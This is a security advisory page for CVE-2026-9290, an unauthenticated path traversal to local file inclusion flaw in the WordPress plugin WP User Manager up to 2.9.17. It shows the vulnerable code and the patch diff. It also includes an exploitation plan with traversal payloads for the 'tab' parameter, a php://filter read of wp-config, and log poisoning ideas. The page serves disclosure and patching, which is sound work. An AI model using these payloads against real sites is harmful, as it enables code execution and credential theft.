CVE-2026-9290

WP User Manager <= 2.9.17 - Unauthenticated Path Traversal to Local File Inclusion via 'tab' Query Parameter

highImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
2.9.18
Patched in
1d
Time to patch

Description

The WP User Manager – User Profile Builder & Membership plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 2.9.17 via the (profile template scope) function. This makes it possible for unauthenticated attackers to include and execute arbitrary .php files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .php file types can be uploaded and included.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.9.17
PublishedJune 5, 2026
Last updatedJune 5, 2026
Affected pluginwp-user-manager

What Changed in the Fix

Changes introduced in v2.9.18

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This exploitation research plan targets **CVE-2026-9290**, a Local File Inclusion (LFI) vulnerability in **WP User Manager** up to version **2.9.17**. --- ### 1. Vulnerability Summary * **Vulnerability:** Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') leading to L…

Show full research plan

This exploitation research plan targets CVE-2026-9290, a Local File Inclusion (LFI) vulnerability in WP User Manager up to version 2.9.17.


1. Vulnerability Summary

  • Vulnerability: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') leading to Local File Inclusion (LFI).
  • Root Cause: The plugin uses the tab query parameter to dynamically determine which template file to include for the user profile or account page. It fails to sanitize this parameter for path traversal sequences (../), allowing an attacker to escape the intended directory and include arbitrary .php files from the server.
  • Impact: Unauthenticated RCE (if a PHP file can be uploaded, e.g., via avatars) or disclosure of sensitive information within PHP files.

2. Attack Vector Analysis

  • Endpoint: User Profile Page (Frontend).
  • Query Parameter: tab.
  • Authentication: Unauthenticated.
  • Preconditions:
    1. The "Profile Page" must be configured in WPUM settings (standard setup).
    2. At least one user must exist to provide a valid profile path.
    3. The tab parameter must reach the template loading logic (typically within the profile template scope).

3. Code Flow

  1. Entry: A GET request is made to a public user profile URL (e.g., /profile/admin/?tab=payload).
  2. Processing: WordPress parses the request. WP User Manager registers the tab query variable via get_query_var( 'tab' ).
  3. Template Selection: On the profile page, the plugin calls a rendering function (often involving the gamajo/template-loader library, as seen in vendor-dist/composer/installed.php).
  4. Vulnerable Sink: The logic resembles:
    $tab = get_query_var( 'tab' );
    // ...
    $loader->get_template_part( 'profiles/tabs/content', $tab ); 
    
  5. Inclusion: The template loader constructs a path: wp-content/plugins/wp-user-manager/templates/profiles/tabs/content-{$tab}.php and passes it to include().
  6. Exploitation: By setting tab=../../../../[path_to_file_without_extension], the attacker forces the inclusion of [path_to_file_without_extension].php.

4. Nonce Acquisition Strategy

  • Nonce Requirement: None.
  • Reasoning: Profile pages are public-facing views intended for SEO and community interaction. The tab query variable is used during the standard GET request lifecycle to render different sections of the profile (e.g., "About", "Posts"). These do not typically implement CSRF protection/nonces for viewing.

5. Exploitation Strategy

Step 1: Discover the Profile Base URL

Navigate to the homepage and look for any link to a user profile or check the default /profile/ slug.

  • Tool: browser_navigate("http://localhost:8080/")

Step 2: Create a Trigger File (PoC Verification)

Since we need to include a .php file, we will create a file in the WordPress root to simulate a "poisoned" file.

  • Command: wp eval "file_put_contents(ABSPATH . 'pwn.php', '<?php echo \"CVE-2026-9290_EXPLOITED\"; ?>');"

Step 3: Execute LFI Request

Construct the traversal payload. Since the plugin likely appends .php, the payload should point to the filename without the extension.

  • Target URL: http://localhost:8080/profile/admin/?tab=../../../../../pwn
  • HTTP Tool: http_request
  • Request Details:
    • Method: GET
    • URL: http://localhost:8080/profile/admin/?tab=../../../../../pwn (Adjust the number of ../ based on directory depth).

6. Test Data Setup

  1. Ensure a User Exists:
    wp user create attacker attacker@example.com --role=subscriber
  2. Ensure Profile Page is Set:
    Verify the profile_page option exists: wp option get wpum_settings.
    If not set, create a page with the shortcode:
    wp post create --post_type=page --post_title="Profile" --post_status=publish --post_content='[wpum_profile]'
    Then update the plugin setting to use this page ID.

7. Expected Results

  • The HTTP response should contain the string CVE-2026-9290_EXPLOITED.
  • The response status should be 200 OK.
  • The content should be rendered within the main content area of the profile page template.

8. Verification Steps

  1. Response Check: Use the http_request output to verify the presence of the unique PoC string.
  2. Access Logs: Check for the GET request with the traversal payload.
  3. Cleanup: wp eval "unlink(ABSPATH . 'pwn.php');"

9. Alternative Approaches

  • Wrapper Inclusion: If .php is NOT appended (unlikely for template parts), attempt to include /etc/passwd via the php://filter wrapper: tab=php://filter/convert.base64-encode/resource=../../../../wp-config.
  • Log Poisoning: If the site has a predictable log path (e.g., wp-content/debug.log), poison the log with PHP code via a failed login attempt and include the log file.
  • Theme Template LFI: Attempt to include files from the active theme or other plugins: tab=../../../../themes/twentytwentyone/functions.
Research Findings
Static analysis — not yet PoC-verified

Summary

WP User Manager versions up to 2.9.17 are vulnerable to unauthenticated Local File Inclusion via the 'tab' query parameter used on user profile and account pages. Attackers can use path traversal sequences to include and execute arbitrary PHP files from the server's file system, potentially leading to remote code execution.

Vulnerable Code

// includes/functions.php line 953
function wpum_get_active_profile_tab() {
	$first_tab   = key( wpum_get_registered_profile_tabs() );
	$profile_tab = get_query_var( 'tab', $first_tab );

	return $profile_tab;
}

---

// includes/actions.php line 265
function wpum_display_account_page_content() {

	$active_tab = get_query_var( 'tab' );
	$tabs       = wpum_get_account_page_tabs();

	if ( empty( $active_tab ) ) {
		$active_tab = key( $tabs );
	}

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/wp-user-manager/2.9.17/includes/actions.php
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-user-manager/2.9.18/includes/actions.php
@@ -262,10 +262,11 @@
  */
 function wpum_display_account_page_content() {
 
-	$active_tab = get_query_var( 'tab' );
 	$tabs       = wpum_get_account_page_tabs();
+	$active_tab = get_query_var( 'tab' );
 
-	if ( empty( $active_tab ) ) {
+	// Validate against registered tabs to prevent path traversal / LFI.
+	if ( empty( $active_tab ) || ! isset( $tabs[ $active_tab ] ) ) {
 		$active_tab = key( $tabs );
 	}
 
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-user-manager/2.9.17/includes/functions.php
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-user-manager/2.9.18/includes/functions.php
@@ -951,9 +951,15 @@
  * @return string
  */
 function wpum_get_active_profile_tab() {
-	$first_tab   = key( wpum_get_registered_profile_tabs() );
+	$registered  = wpum_get_registered_profile_tabs();
+	$first_tab   = key( $registered );
 	$profile_tab = get_query_var( 'tab', $first_tab );
 
+	// Validate against registered tabs to prevent path traversal / LFI.
+	if ( ! isset( $registered[ $profile_tab ] ) ) {
+		$profile_tab = $first_tab;
+	}
+
 	return $profile_tab;
 }

Exploit Outline

An unauthenticated attacker can exploit this vulnerability by navigating to a public user profile page and appending a malicious 'tab' parameter. By using path traversal sequences (e.g., ?tab=../../../../target_file), the attacker can force the plugin to include an arbitrary .php file from the server. If the attacker can upload a PHP file to the server (for instance, via a profile avatar upload feature), they can achieve Remote Code Execution (RCE) by including that uploaded file.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.